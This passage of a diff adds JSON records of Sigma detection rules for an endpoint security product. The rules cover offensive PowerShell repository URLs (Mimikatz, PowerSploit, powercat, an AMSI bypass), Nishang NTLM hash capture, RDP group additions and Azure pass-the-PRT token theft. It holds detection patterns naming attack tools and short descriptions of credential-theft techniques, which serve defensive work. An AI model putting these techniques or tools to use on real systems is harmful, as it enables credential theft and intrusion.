another rule for that\n    filter_malicious:\n        PowershellCommand|contains:\n            # https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Find-Fruit.ps1\n            # https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1\n            - '/S3cur3Th1sSh1t/'\n            # /S3cur3Th1sSh1t/ in UTF16-LE in base64 with 3 different offsets, for PowerShell command-lines\n            - 'LwBTADMAYwB1AHIAMwBUAGgAMQBzAFMAaAAxAHQALw'\n            - '8AUwAzAGMAdQByADMAVABoADEAcwBTAGgAMQB0AC8A'\n            - 'vAFMAMwBjAHUAcgAzAFQAaAAxAHMAUwBoADEAdAAvA'\n            # 'https://raw.githubusercontent.com/pwnieexpress/Metasploit-framework/master/exploits/powershell/powerdump.ps1\n            - '/pwnieexpress/'\n            - 'LwBwAHcAbgBpAGUAZQB4AHAAcgBlAHMAcwAvA'\n            - '8AcAB3AG4AaQBlAGUAeABwAHIAZQBzAHMALw'\n            - 'vAHAAdwBuAGkAZQBlAHgAcAByAGUAcwBzAC8A'\n            # https://raw.githubusercontent.com/EmpireProject/Empire/master/module_source/credentials/Invoke-Mimikatz.ps1\n            - '/EmpireProject/'\n            - 'LwBFAG0AcABpAHIAZQBQAHIAbwBqAGUAYwB0AC8A'\n            - '8ARQBtAHAAaQByAGUAUAByAG8AagBlAGMAdAAvA'\n            - 'vAEUAbQBwAGkAcgBlAFAAcgBvAGoAZQBjAHQALw'\n            # https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1\n            - '/PowerSploit/'\n            - 'LwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALw'\n            - '8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8A'\n            - 'vAFAAbwB3AGUAcgBTAHAAbABvAGkAdAAvA'\n            # https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1\n            - '/clymb3r/'\n            - 'LwBjAGwAeQBtAGIAMwByAC8A'\n            - '8AYwBsAHkAbQBiADMAcgAvA'\n            - 'vAGMAbAB5AG0AYgAzAHIALw'\n            - '/Invoke-Mimikatz/'\n            - 'LwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAvA'\n            - '8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALw'\n            - 'vAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC8A'\n            # https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1\n            - '/BloodHoundAD/'\n            - 'LwBCAGwAbwBvAGQASABvAHUAbgBkAEEARAAvA'\n            - '8AQgBsAG8AbwBkAEgAbwB1AG4AZABBAEQALw'\n            - 'vAEIAbABvAG8AZABIAG8AdQBuAGQAQQBEAC8A'\n            # https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\n            - '/Kevin-Robertson/'\n            - 'LwBLAGUAdgBpAG4ALQBSAG8AYgBlAHIAdABzAG8AbgAvA'\n            - '8ASwBlAHYAaQBuAC0AUgBvAGIAZQByAHQAcwBvAG4ALw'\n            - 'vAEsAZQB2AGkAbgAtAFIAbwBiAGUAcgB0AHMAbwBuAC8A'\n            # https://raw.githubusercontent.com/Veil-Framework/Veil-Pillage/master/data/PowerSploit/Invoke-Mimikatz.ps1\n            - '/Veil-Framework/'\n            - 'LwBWAGUAaQBsAC0ARgByAGEAbQBlAHcAbwByAGsALw'\n            - '8AVgBlAGkAbAAtAEYAcgBhAG0AZQB3AG8AcgBrAC8A'\n            - 'vAFYAZQBpAGwALQBGAHIAYQBtAGUAdwBvAHIAawAvA'\n            # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1\n            - '/nullbind/Powershellery/'\n            - 'LwBuAHUAbABsAGIAaQBuAGQALwBQAG8AdwBlAHIAcwBoAGUAbABsAGUAcgB5AC8A'\n            - '8AbgB1AGwAbABiAGkAbgBkAC8AUABvAHcAZQByAHMAaABlAGwAbABlAHIAeQAvA'\n            - 'vAG4AdQBsAGwAYgBpAG4AZAAvAFAAbwB3AGUAcgBzAGgAZQBsAGwAZQByAHkALw'\n            # https://gist.githubusercontent.com/shantanu561993/6483e524dc225a188de04465c8512909/raw/db219421ea911b820e9a484754f03a26fbfb9c27/AMSI_bypass_Reflection.ps1\n            - '/shantanu561993/'\n            - 'LwBzAGgAYQBuAHQAYQBuAHUANQA2ADEAOQA5ADMALw'\n            - '8AcwBoAGEAbgB0AGEAbgB1ADUANgAxADkAOQAzAC8A'\n            - 'vAHMAaABhAG4AdABhAG4AdQA1ADYAMQA5ADkAMwAvA'\n            # https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\n            - '/powercat/'\n            - 'LwBwAG8AdwBlAHIAYwBhAHQALw'\n            - '8AcABvAHcAZQByAGMAYQB0AC8A'\n            - 'vAHAAbwB3AGUAcgBjAGEAdAAvA'\n            # https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1\n            - '/FuzzySecurity/PowerShell-Suite/'\n            - 'LwBGAHUAegB6AHkAUwBlAGMAdQByAGkAdAB5AC8AUABvAHcAZQByAFMAaABlAGwAbAAtAFMAdQBpAHQAZQAvA'\n            - '8ARgB1AHoAegB5AFMAZQBjAHUAcgBpAHQAeQAvAFAAbwB3AGUAcgBTAGgAZQBsAGwALQBTAHUAaQB0AGUALw'\n            - 'vAEYAdQB6AHoAeQBTAGUAYwB1AHIAaQB0AHkALwBQAG8AdwBlAHIAUwBoAGUAbABsAC0AUwB1AGkAdABlAC8A'\n            # https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1\n            - '/The-Viper-One/'\n            - 'LwBUAGgAZQAtAFYAaQBwAGUAcgAtAE8AbgBlAC8A'\n            - '8AVABoAGUALQBWAGkAcABlAHIALQBPAG4AZQAvA'\n            - 'vAFQAaABlAC0AVgBpAHAAZQByAC0ATwBuAGUALw'\n\n    exclusion_modules:\n        PowershellScriptPath|startswith:\n            - '?:\\Program Files\\WindowsPowerShell\\Modules\\'\n            - '?:\\Program Files (x86)\\WindowsPowerShell\\Modules\\'\n\n    exclusion_telemetry:\n        ProcessParentCommandLine: '?:\\WINDOWS\\system32\\CompatTelRunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun -cv:*'\n\n    exclusion_known_ms:\n        PowershellCommand|contains:\n            - 'IconUri = ?https://raw.githubusercontent.com/microsoftgraph/msgraph-sdk-powershell/'\n            - 'IconUri = ?https://raw.githubusercontent.com/pnp/media/master/optimized/pnp-projects/blue/png/pnp-powershell-300.png'\n            - 'IconUri = ?https://raw.githubusercontent.com/powershell/psscriptanalyzer/master/logo.png'\n            # C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\pnp.powershell\\pnp.powershell.psd1\n            # https://raw.githubusercontent.com/pnp/media/40e7cd8952a9347ea44e5572bb0e49622a102a12/parker/ms/300w/parker-ms-300.png\n            - 'IconUri = ?https://raw.githubusercontent.com/pnp/media/*/parker/ms/300w/parker-ms-300.png'\n            - 'IconUri = ?https://raw.githubusercontent.com/SharePoint/sp-dev-docs/master/docs/images/sp-logo.png'\n            - 'LicenseUri = ?https://raw.githubusercontent.com/Azure/azure-powershell/preview/LICENSE.txt'\n\n    exclusion_terminal_icons:\n        PowershellScriptPath|endswith: '\\Terminal-Icons.psd1'\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/devblackops/Terminal-Icons/master/LICENSE'\n\n    exclusion_winscp:\n        PowershellScriptPath|endswith: '\\WinSCP.psd1'\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/dotps1/WinSCP/master/LICENSE.md'\n\n    exclusion_florian:\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/Neo23x0/'\n\n    exclusion_vmware:\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\VMware.VimAutomation.WorkloadManagement\\12.4.0.18627055\\VMware.VimAutomation.WorkloadManagement.psd1\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\VMware.VimAutomation.Storage\\12.5.0.19106817\\VMware.VimAutomation.Storage.psd1\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\VMware.Sdk.vSphere.vCenter.OVF\\1.0.104.18678708\\VMware.Sdk.vSphere.vCenter.OVF.psd1\n        # C:\\Users\\xxx\\OneDrive - xxx\\Documents\\WindowsPowerShell\\Modules\\VMware.VimAutomation.WorkloadManagement\\12.4.0.18627055\\VMware.VimAutomation.WorkloadManagement.psd1\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/vmware/PowerCLI-Example-Scripts/'\n\n    exclusion_asbuiltreport:\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\AsBuiltReport\\1.0.5\\AsBuiltReport.psd1\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\AsBuiltReport.Cisco.UcsManager\\0.2.1\\AsBuiltReport.Cisco.UcsManager.psd1\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\AsBuiltReport.Core\\1.2.0\\AsBuiltReport.Core.psd1\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\AsBuiltReport.Rubrik.CDM\\1.0.1\\AsBuiltReport.Rubrik.CDM.psd1\n        # ...\n        PowershellCommand|contains|all:\n            - '# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.'\n            - '# Tags applied to this module. These help with module discovery in online galleries.'\n            - 'https://raw.githubusercontent.com/AsBuiltReport/AsBuiltReport.'\n\n    exclusion_pscribo:\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\PScribo\\0.9.1\\PScribo.psd1\n        PowershellCommand|contains|all:\n            - 'PScribo documentation PowerShell module/framework.'\n            - 'https://raw.githubusercontent.com/iainbrighton/PScribo/master/LICENSE'\n            - 'http://github.com/iainbrighton/PScribo'\n\n    exclusion_sharepoint:\n        # C:\\Program Files (x86)\\SharePointPnPPowerShell2013\\Modules\\SharePointPnPPowerShell2013\\SharePointPnPPowerShell2013.psd1\n        PowershellCommand|contains|all:\n            - 'SharePointPnP.PowerShell.20??.Commands.Format.ps1xml'\n            - 'https://aka.ms/sppnp'\n            - 'https://raw.githubusercontent.com/SharePoint/PnP-PowerShell/master/Commands/Resources/pnp.ico'\n\n    # https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-troubleshooters/introduction-to-troubleshootingscript-toolset-tssv2\n    exclusion_tssv2:\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/microsoft/SDN/master/Kubernetes/windows/debug/collectlogs.ps1\" -Outfile _Kube_collectlogs.ps1'\n        PowershellScriptPath|endswith: '\\TSSv2_NET.psm1'\n\n    exclusion_psscripttool:\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/jdhitsolutions/PSScriptTools'\n        PowershellScriptPath:\n            - '?:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PSScriptTools\\\\*\\PSScriptTools.psd1'\n            - '?:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PSScriptTools\\\\*\\PSScriptTools.ps1'\n\n    exclusion_winutil:\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/ChrisTitusTech/winutil/'\n\n    exclusion_osdeploy:\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/OSDeploy/OSD/master/'\n\n    exclusion_microsoftteams:\n        PowershellCommand|contains:\n            - 'LicenseUri=https://raw.githubusercontent.com/MicrosoftDocs/office-docs-powershell/master/teams/LICENSE.txt'\n            - \"LicenseUri = 'https://raw.githubusercontent.com/MicrosoftDocs/office-docs-powershell/master/teams/LICENSE.txt'\"\n\n    exclusion_joinmodule:\n        PowershellCommand|contains: 'https://raw.githubusercontent.com/iRon7/Join-Object/master/Join-Object.png'\n        PowershellScriptPath: '*\\WindowsPowerShell\\Modules\\JoinModule\\\\*\\Join.psm1'\n\n    exclusion_manageengine:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcpatchscan.exe'\n\n    exclusion_prtg:\n        ProcessParentImage: '?:\\Program Files (x86)\\PRTG Network Monitor\\PRTG Probe.exe'\n        PowershellScriptPath|startswith: '?:\\Program Files (x86)\\PRTG Network Monitor\\custom sensors\\'\n\n    exclusion_azure1:\n        ProcessImage: '?:\\Program Files\\AzureConnectedMachineAgent\\GCArcService2\\GC\\gc_worker.exe'\n        PowershellScriptPath: '?:\\ProgramData\\GuestConfig\\Configuration\\AzureWindowsBaseline\\Modules\\Microsoft.OSConfig.Resource\\Helpers\\Microsoft.OSConfig\\Microsoft.OSConfig.psd1'\n    exclusion_azure2:\n        ProcessAncestors|contains: '|?:\\WindowsAzure\\GuestAgent_*\\WindowsAzureGuestAgent.exe|'\n        PowershellScriptPath: '?:\\Packages\\Plugins\\Microsoft.Azure.AzureDefenderForServers.MDE.Windows\\\\*\\MdeExtensionHandler.ps1'\n\n    exclusion_ltsvc:\n        ProcessParentImage: '?:\\Windows\\LTSvc\\LTSVC.exe'\n\n    exclusion_mslsam:\n        ProcessParentImage: '?:\\Program Files\\OpConxps\\MSLSAM\\1\\MSLsam.exe'\n\n    exclusion_psappdeploytoolkit:\n        PowershellCommand|contains: 'IconUri = ?https://raw.githubusercontent.com/PSAppDeployToolkit/PSAppDeployToolkit/'\n\n    exclusion_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Corporation'\n            - 'VMware, Inc.'\n            - 'Broadcom Inc'\n            - 'Nutanix, Inc.'\n            - 'Patch My PC, LLC' # PSAppDeployToolkit\n\n    exclusion_legitimate_script:\n        PowershellCommand|contains|all:\n            - 'ModuleVersion = '\n            - 'GUID = '\n            - 'Author = '\n\n    exclusion_url:\n        PowershellCommand|contains:\n            - 'https://raw.githubusercontent.com/DFFspace/CryptoBlocker/master/KnownExtensions.txt'\n            - 'scoop install https://raw.githubusercontent.com/ScoopInstaller/Main/master/bucket/runat.json'\n            - 'https://raw.githubusercontent.com/secureworks/family-of-client-ids-research/main/known-foci-clients.csv'\n            - 'https://raw.githubusercontent.com/Romanitho/Winget-AutoUpdate/main/LICENSE'\n            - 'https://raw.githubusercontent.com/JanDeDobbeleer/oh-my-posh/'\n            - 'https://raw.githubusercontent.com/dotnet/core/refs/heads/main/release-notes/'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ee931a24-4f65-41b1-8a77-d16972bd8ad7",
+  "rule_name": "Suspicious Code Repository URL in PowerShell Script",
+  "rule_description": "Detects the URL of suspicious code repository used to host malicious code/scripts in PowerShell scripts.\nAttackers can host malcious payloads on legitimate websites such as github.com evade network based detections.\nIt is recommended to investigate the content that was downloaded by the PowerShell script, and any other malicious actions the script could have taken.\n",
+  "rule_creation_date": "2022-08-18",
+  "rule_modified_date": "2025-06-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eeafa996-2f93-4255-92a8-ee0893f25649",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084352Z",
+  "creation_date": "2026-03-23T11:45:34.084354Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084358Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/samratashok/nishang/blob/master/Utility/Start-CaptureServer.ps1",
+    "https://www.zscaler.com/blogs/security-research/steal-it-campaign",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1212/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_captureserver_nishang_script.yml",
+  "content": "title: Malicious PowerShell Nishang Start-CaptureServer\nid: eeafa996-2f93-4255-92a8-ee0893f25649\ndescription: |\n    Detects the malicious Start-CaptureServer cmdlet, generally associated with the Nishang framework.\n    This script is specifically developed to capture NTLMv2 hashes.\n    APT28 (aka Fancy Bear) is known to use a customized version of Nishang's Start-CaptureServer PowerShell script and to transmit the stolen hashes via the mocky API to Mockbin.\n    It is recommended to investigate all the PowerShell commands associated with the process, and the parent process for suspicious activities.\nreferences:\n    - https://github.com/samratashok/nishang/blob/master/Utility/Start-CaptureServer.ps1\n    - https://www.zscaler.com/blogs/security-research/steal-it-campaign\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1212/\ndate: 2023/09/14\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.credential_access\n    - attack.t1212\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.ThreatActor.APT28\n    - classification.Windows.Framework.Nishang\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - '@(0x4e,0x54,0x4c,0x4d,'\n            - '$context = $listener.GetContext()'\n            - '$NTLMType2Response = ?NTLM ? + [Convert]::ToBase64String($NTLMType2)'\n            - '$response.AddHeader(?WWW-Authenticate?, $NTLMType2Response)'\n            - '$listener.Stop()'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eeafa996-2f93-4255-92a8-ee0893f25649",
+  "rule_name": "Malicious PowerShell Nishang Start-CaptureServer",
+  "rule_description": "Detects the malicious Start-CaptureServer cmdlet, generally associated with the Nishang framework.\nThis script is specifically developed to capture NTLMv2 hashes.\nAPT28 (aka Fancy Bear) is known to use a customized version of Nishang's Start-CaptureServer PowerShell script and to transmit the stolen hashes via the mocky API to Mockbin.\nIt is recommended to investigate all the PowerShell commands associated with the process, and the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-09-14",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1212"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eee0e55e-e901-418f-bc61-5d51a8cf1925",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076975Z",
+  "creation_date": "2026-03-23T11:45:34.076977Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076982Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://serverfault.com/questions/367166/allow-rdp-for-user-from-commandline",
+    "https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/",
+    "https://attack.mitre.org/techniques/T1021/001/"
+  ],
+  "name": "t1021_001_rdp_user_added.yml",
+  "content": "title: User Added to RDP Users Group via net.exe\nid: eee0e55e-e901-418f-bc61-5d51a8cf1925\ndescription: |\n    Detects RDP permissions being given to a user through the \"net\" utility.\n    Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.\n    It is recommended to investigate if the user is expected to be added to this group and to look for other suspicious actions by the parent process.\nreferences:\n    - https://serverfault.com/questions/367166/allow-rdp-for-user-from-commandline\n    - https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/\n    - https://attack.mitre.org/techniques/T1021/001/\ndate: 2022/12/01\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.001\n    - attack.persistence\n    - attack.t1098\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_net:\n        OriginalFileName: 'net1.exe'\n        CommandLine|contains|all:\n            - ' localgroup'\n            - ' /add'\n\n    selection_group:\n        CommandLine|contains:\n            - 'Remote Desktop Users'\n            - 'Utilisateurs de gestion à distance'\n            - 'Utilisateurs du Bureau à distance'\n\n    exclusion_ccm:\n        ProcessAncestors|contains: '?:\\Windows\\CCM\\Ccm32BitLauncher.exe'\n\n    exclusion_wmi:\n        ProcessAncestors|contains:\n            - '|?:\\Windows\\System32\\winrshost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|'\n            - '|?:\\Windows\\System32\\wsmprovhost.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|'\n            - '|?:\\Windows\\System32\\wbem\\WmiPrvSE.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|'\n\n    exclusion_dagent:\n        ProcessAncestors|contains: '?:\\Program Files\\Altiris\\Dagent\\dagent.exe'\n\n    exclusion_landesk:\n        ProcessAncestors|contains: '?:\\Program Files (x86)\\LANDesk\\LDClient\\sdistbat.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eee0e55e-e901-418f-bc61-5d51a8cf1925",
+  "rule_name": "User Added to RDP Users Group via net.exe",
+  "rule_description": "Detects RDP permissions being given to a user through the \"net\" utility.\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.\nIt is recommended to investigate if the user is expected to be added to this group and to look for other suspicious actions by the parent process.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001",
+    "attack.t1098"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "eeee4874-47a8-4bbc-8367-54a2d46d25b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.297489Z",
+  "creation_date": "2026-03-23T11:45:35.297492Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297496Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/",
+    "https://github.com/dirkjanm/ROADtoken",
+    "https://attack.mitre.org/techniques/T1550/001/"
+  ],
+  "name": "t1550_001_azure_pass_the_prt_via_browsercore.yml",
+  "content": "title: Azure Pass-the-PRT via BrowserCore.exe\nid: eeee4874-47a8-4bbc-8367-54a2d46d25b5\ndescription: |\n    Detects a suspicious BrowserCore.exe process creation which could indicate a pass-the-PRT attempt.\n    A PRT (Primary Refresh Token) provide SSO on Azure AD joined, registered, or hybrid joined devices for both web browsers and native apps.\n    BrowserCore.exe is a core component of Windows and it serves as a browser add-on that allows Microsoft users to connect via Azure and Microsoft websites.\n    Threat actors can exploit BrowserCore.exe by launching the process, sending a request through its standard input, and extracting the PRT (labeled “x-ms-RefreshTokenCredential”) from its standard output.\n    The obtained PRT can then be used as a cookie to access sensitive cloud resources on behalf of the victim user.\n    It is recommended to check the parent process for suspicious activities.\nreferences:\n    - https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/\n    - https://github.com/dirkjanm/ROADtoken\n    - https://attack.mitre.org/techniques/T1550/001/\ndate: 2026/03/09\nmodified: 2026/03/12\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1550.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BrowserCore.exe'\n\n    exclusion_legit_browser_usage:\n        ProcessParentProcessName: 'cmd.exe'\n        ProcessParentCommandLine|contains: '> \\\\\\\\.\\\\pipe\\\\'\n        ProcessGrandparentProcessName:\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'vivaldi.exe'\n            - 'comet.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eeee4874-47a8-4bbc-8367-54a2d46d25b5",
+  "rule_name": "Azure Pass-the-PRT via BrowserCore.exe",
+  "rule_description": "Detects a suspicious BrowserCore.exe process creation which could indicate a pass-the-PRT attempt.\nA PRT (Primary Refresh Token) provide SSO on Azure AD joined, registered, or hybrid joined devices for both web browsers and native apps.\nBrowserCore.exe is a core component of Windows and it serves as a browser add-on that allows Microsoft users to connect via Azure and Microsoft websites.\nThreat actors can exploit BrowserCore.exe by launching the process, sending a request through its standard input, and extracting the PRT (labeled “x-ms-RefreshTokenCredential”) from its standard output.\nThe obtained PRT can then be used as a cookie to access sensitive cloud resources on behalf of the victim user.\nIt is recommended to check the parent process for suspicious activities.\n",
+  "rule_creation_date": "2026-03-09",
+  "rule_modified_date": "2026-03-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ef105561-121c-4adb-8707-a231a60db162",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295727Z",
+  "creation_date": "2026-03-23T11:45:35.295730Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295737Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zscaler.com/blogs/security-research/apt28-leverages-cve-2026-21509-operation-neusploit",
+    "https://attack.mitre.org/techniques/T1137/"
+  ],
+  "name": "t1137_outlook_load_macro_boot.yml",
